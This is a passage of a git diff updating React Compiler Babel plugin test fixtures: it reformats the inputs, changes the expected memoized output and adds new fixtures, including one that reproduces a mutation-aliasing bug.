+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function useFoo() {
   const update = () => {
-    "worklet";
+    'worklet';
     return 1;
   };
   return update;
@@ -21,22 +21,15 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 function useFoo() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      "worklet";
-      return 1;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const update = t0;
+  const update = _temp;
+
   return update;
 }
+function _temp() {
+  "worklet";
+  return 1;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.js
index da2a2883762f..57bff1a8f742 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.js
@@ -1,6 +1,6 @@
 function useFoo() {
   const update = () => {
-    "worklet";
+    'worklet';
     return 1;
   };
   return update;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.expect.md
new file mode 100644
index 000000000000..d50d9d58cc7e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer"
+const Test = () => <div />;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
+const Test = () => {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.js
new file mode 100644
index 000000000000..03195fd7d99c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.js
@@ -0,0 +1,7 @@
+// @compilationMode:"infer"
+const Test = () => <div />;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.expect.md
index e08a77ba515c..38b7044d15e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.expect.md
@@ -6,13 +6,13 @@ function Component(props) {
   const x = [props.x];
   const index = 0;
   x[index] *= 2;
-  x["0"] += 3;
+  x['0'] += 3;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 2 }],
+  params: [{x: 2}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.js
index 57cbcff078be..e251b1aaf553 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.js
@@ -2,12 +2,12 @@ function Component(props) {
   const x = [props.x];
   const index = 0;
   x[index] *= 2;
-  x["0"] += 3;
+  x['0'] += 3;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 2 }],
+  params: [{x: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.expect.md
index 686da0f67112..23672bcf08f2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function g(props) {
-  const a = { b: { c: props.c } };
+  const a = {b: {c: props.c}};
   a.b.c = a.b.c + 1;
   a.b.c *= 2;
   return a;
@@ -11,7 +11,7 @@ function g(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: g,
-  params: [{ c: 2 }],
+  params: [{c: 2}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.js
index 7a667a0a933d..d4a716e7f7ba 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.js
@@ -1,5 +1,5 @@
 function g(props) {
-  const a = { b: { c: props.c } };
+  const a = {b: {c: props.c}};
   a.b.c = a.b.c + 1;
   a.b.c *= 2;
   return a;
@@ -7,6 +7,6 @@ function g(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: g,
-  params: [{ c: 2 }],
+  params: [{c: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.expect.md
index 583e2fcb2c95..dfbe1a1691d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.expect.md
@@ -23,6 +23,7 @@ import { c as _c } from "react/compiler-runtime";
 function useBar(props) {
   const $ = _c(1);
   let z;
+
   if (props.a) {
     if (props.b) {
       let t0;
@@ -35,6 +36,7 @@ function useBar(props) {
       z = t0;
     }
   }
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.expect.md
index 3c9346340fc7..af970667c74d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function g() {
-  const x = { y: { z: 1 } };
+  const x = {y: {z: 1}};
   x.y.z = x.y.z + 1;
   x.y.z *= 2;
   return x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.js
index 9b3ec84e1327..a35c239af4ad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.js
@@ -1,5 +1,5 @@
 function g() {
-  const x = { y: { z: 1 } };
+  const x = {y: {z: 1}};
   x.y.z = x.y.z + 1;
   x.y.z *= 2;
   return x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.expect.md
index c10b19923641..8b48145d9130 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useState, useMemo } from "react";
+import {useState, useMemo} from 'react';
 
 function Component(props) {
   const [x] = useState(0);
@@ -30,50 +30,46 @@ function Component(props) {
   const $ = _c(4);
   const [x] = useState(0);
   let t0;
-  let t1;
   if ($[0] !== x) {
-    t1 = calculateExpensiveNumber(x);
+    t0 = calculateExpensiveNumber(x);
     $[0] = x;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const expensiveNumber = t0;
-  let t2;
+  let t1;
   if ($[2] !== expensiveNumber) {
-    t2 = <div>{expensiveNumber}</div>;
+    t1 = <div>{expensiveNumber}</div>;
     $[2] = expensiveNumber;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 function Component2(props) {
   const $ = _c(4);
   const [x] = useState(0);
   let t0;
-  let t1;
   if ($[0] !== x) {
-    t1 = calculateExpensiveNumber(x);
+    t0 = calculateExpensiveNumber(x);
     $[0] = x;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const expensiveNumber = t0;
-  let t2;
+  let t1;
   if ($[2] !== expensiveNumber) {
-    t2 = <div>{expensiveNumber}</div>;
+    t1 = <div>{expensiveNumber}</div>;
     $[2] = expensiveNumber;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.js
index 007f4bdfe1f7..7109349f65b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.js
@@ -1,4 +1,4 @@
-import { useState, useMemo } from "react";
+import {useState, useMemo} from 'react';
 
 function Component(props) {
   const [x] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.expect.md
index 40e68e8acae0..745da40e7c22 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import * as React from "react";
-import { useState, useMemo } from "react";
+import * as React from 'react';
+import {useState, useMemo} from 'react';
 
 function Component(props) {
   const [x] = useState(0);
@@ -32,50 +32,46 @@ function Component(props) {
   const $ = _c(4);
   const [x] = useState(0);
   let t0;
-  let t1;
   if ($[0] !== x) {
-    t1 = calculateExpensiveNumber(x);
+    t0 = calculateExpensiveNumber(x);
     $[0] = x;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const expensiveNumber = t0;
-  let t2;
+  let t1;
   if ($[2] !== expensiveNumber) {
-    t2 = <div>{expensiveNumber}</div>;
+    t1 = <div>{expensiveNumber}</div>;
     $[2] = expensiveNumber;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 function Component2(props) {
   const $ = _c(4);
   const [x] = useState(0);
   let t0;
-  let t1;
   if ($[0] !== x) {
-    t1 = calculateExpensiveNumber(x);
+    t0 = calculateExpensiveNumber(x);
     $[0] = x;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const expensiveNumber = t0;
-  let t2;
+  let t1;
   if ($[2] !== expensiveNumber) {
-    t2 = <div>{expensiveNumber}</div>;
+    t1 = <div>{expensiveNumber}</div>;
     $[2] = expensiveNumber;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.js
index 39bcae9d69a3..d23cd2931aca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.js
@@ -1,5 +1,5 @@
-import * as React from "react";
-import { useState, useMemo } from "react";
+import * as React from 'react';
+import {useState, useMemo} from 'react';
 
 function Component(props) {
   const [x] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.expect.md
index ad9a15f74c2e..297b01229c20 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import * as React from "react";
-import { calculateExpensiveNumber } from "shared-runtime";
+import * as React from 'react';
+import {calculateExpensiveNumber} from 'shared-runtime';
 
 function Component(props) {
   const [x] = React.useState(0);
@@ -30,25 +30,23 @@ function Component(props) {
   const $ = _c(4);
   const [x] = React.useState(0);
   let t0;
-  let t1;
   if ($[0] !== x) {
-    t1 = calculateExpensiveNumber(x);
+    t0 = calculateExpensiveNumber(x);
     $[0] = x;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const expensiveNumber = t0;
-  let t2;
+  let t1;
   if ($[2] !== expensiveNumber) {
-    t2 = <div>{expensiveNumber}</div>;
+    t1 = <div>{expensiveNumber}</div>;
     $[2] = expensiveNumber;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.js
index a70693869172..58471203ede4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.js
@@ -1,5 +1,5 @@
-import * as React from "react";
-import { calculateExpensiveNumber } from "shared-runtime";
+import * as React from 'react';
+import {calculateExpensiveNumber} from 'shared-runtime';
 
 function Component(props) {
   const [x] = React.useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.expect.md
new file mode 100644
index 000000000000..ac4e7dc3a8c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.expect.md
@@ -0,0 +1,71 @@
+
+## Input
+
+```javascript
+import * as React from 'react';
+import {someImport} from 'react/compiler-runtime';
+import {calculateExpensiveNumber} from 'shared-runtime';
+
+function Component(props) {
+  const [x] = React.useState(0);
+  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
+
+  return (
+    <div>
+      {expensiveNumber}
+      {`${someImport}`}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import * as React from "react";
+import { someImport, c as _c } from "react/compiler-runtime";
+import { calculateExpensiveNumber } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(4);
+  const [x] = React.useState(0);
+  let t0;
+  if ($[0] !== x) {
+    t0 = calculateExpensiveNumber(x);
+    $[0] = x;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const expensiveNumber = t0;
+  let t1;
+  if ($[2] !== expensiveNumber) {
+    t1 = (
+      <div>
+        {expensiveNumber}
+        {`${someImport}`}
+      </div>
+    );
+    $[2] = expensiveNumber;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>0undefined</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.js
new file mode 100644
index 000000000000..80a2006dd12b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.js
@@ -0,0 +1,20 @@
+import * as React from 'react';
+import {someImport} from 'react/compiler-runtime';
+import {calculateExpensiveNumber} from 'shared-runtime';
+
+function Component(props) {
+  const [x] = React.useState(0);
+  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
+
+  return (
+    <div>
+      {expensiveNumber}
+      {`${someImport}`}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.expect.md
new file mode 100644
index 000000000000..70e19e0744a4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Repro(props) {
+  const MY_CONST = -2;
+  return <Stringify>{props.arg - MY_CONST}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Repro,
+  params: [
+    {
+      arg: 3,
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Repro(props) {
+  const $ = _c(2);
+
+  const t0 = props.arg - -2;
+  let t1;
+  if ($[0] !== t0) {
+    t1 = <Stringify>{t0}</Stringify>;
+    $[0] = t0;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Repro,
+  params: [
+    {
+      arg: 3,
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":5}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.js
new file mode 100644
index 000000000000..891589bc981d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.js
@@ -0,0 +1,15 @@
+import {Stringify} from 'shared-runtime';
+
+function Repro(props) {
+  const MY_CONST = -2;
+  return <Stringify>{props.arg - MY_CONST}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Repro,
+  params: [
+    {
+      arg: 3,
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.expect.md
index 7b5643726f17..a42a8835f5f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.expect.md
@@ -19,7 +19,7 @@ function useHook(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [1, "foo"],
+  params: [1, 'foo'],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.js
index 30f91e446746..0763d19e7a3b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.js
@@ -15,5 +15,5 @@ function useHook(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [1, "foo"],
+  params: [1, 'foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.expect.md
index d6baa1ed0e04..b8e46660612b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.expect.md
@@ -2,11 +2,12 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
+// @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function Component(props) {
   const outerHandlers = useMemo(() => {
-    let handlers = { value: props.value };
+    let handlers = {value: props.value};
     switch (props.test) {
       case true: {
         console.log(handlers.value);
@@ -22,7 +23,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ test: true, value: "hello" }],
+  params: [{test: true, value: 'hello'}],
 };
 
 ```
@@ -30,32 +31,29 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 
 function Component(props) {
   const $ = _c(2);
   let t0;
-  let t1;
   if ($[0] !== props.value) {
-    t1 = { value: props.value };
+    t0 = { value: props.value };
     $[0] = props.value;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  const handlers = t1;
+  const handlers = t0;
   bb0: switch (props.test) {
     case true: {
       console.log(handlers.value);
       break bb0;
     }
-    default: {
-    }
+    default:
   }
+  const outerHandlers = handlers;
 
-  t0 = handlers;
-  const outerHandlers = t0;
   return outerHandlers;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.js
index 59a29c3710cd..9448a284dd63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.js
@@ -1,8 +1,9 @@
-import { useMemo } from "react";
+// @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function Component(props) {
   const outerHandlers = useMemo(() => {
-    let handlers = { value: props.value };
+    let handlers = {value: props.value};
     switch (props.test) {
       case true: {
         console.log(handlers.value);
@@ -18,5 +19,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ test: true, value: "hello" }],
+  params: [{test: true, value: 'hello'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.expect.md
new file mode 100644
index 000000000000..8d1e85222558
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.expect.md
@@ -0,0 +1,122 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel:false
+import {makeArray, mutate} from 'shared-runtime';
+
+/**
+ * Bug repro:
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe"}}
+ *   Forget:
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe","wat1":"joe"}}
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component({foo, bar}: {foo: number; bar: number}) {
+  let x = {foo};
+  let y: {bar: number; x?: {foo: number}} = {bar};
+  const f0 = function () {
+    let a = makeArray(y); // a = [y]
+    let b = x;
+    // this writes y.x = x
+    a[0].x = b;
+  };
+  f0();
+  mutate(y.x);
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel:false
+import { makeArray, mutate } from "shared-runtime";
+
+/**
+ * Bug repro:
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe"}}
+ *   Forget:
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe","wat1":"joe"}}
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component(t0) {
+  const $ = _c(3);
+  const { foo, bar } = t0;
+  let y;
+  if ($[0] !== bar || $[1] !== foo) {
+    const x = { foo };
+    y = { bar };
+    const f0 = function () {
+      const a = makeArray(y);
+      const b = x;
+
+      a[0].x = b;
+    };
+
+    f0();
+    mutate(y.x);
+    $[0] = bar;
+    $[1] = foo;
+    $[2] = y;
+  } else {
+    y = $[2];
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 3, bar: 4 }],
+  sequentialRenders: [
+    { foo: 3, bar: 4 },
+    { foo: 3, bar: 5 },
+  ],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.ts
new file mode 100644
index 000000000000..62d891febf41
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.ts
@@ -0,0 +1,49 @@
+// @enableNewMutationAliasingModel:false
+import {makeArray, mutate} from 'shared-runtime';
+
+/**
+ * Bug repro:
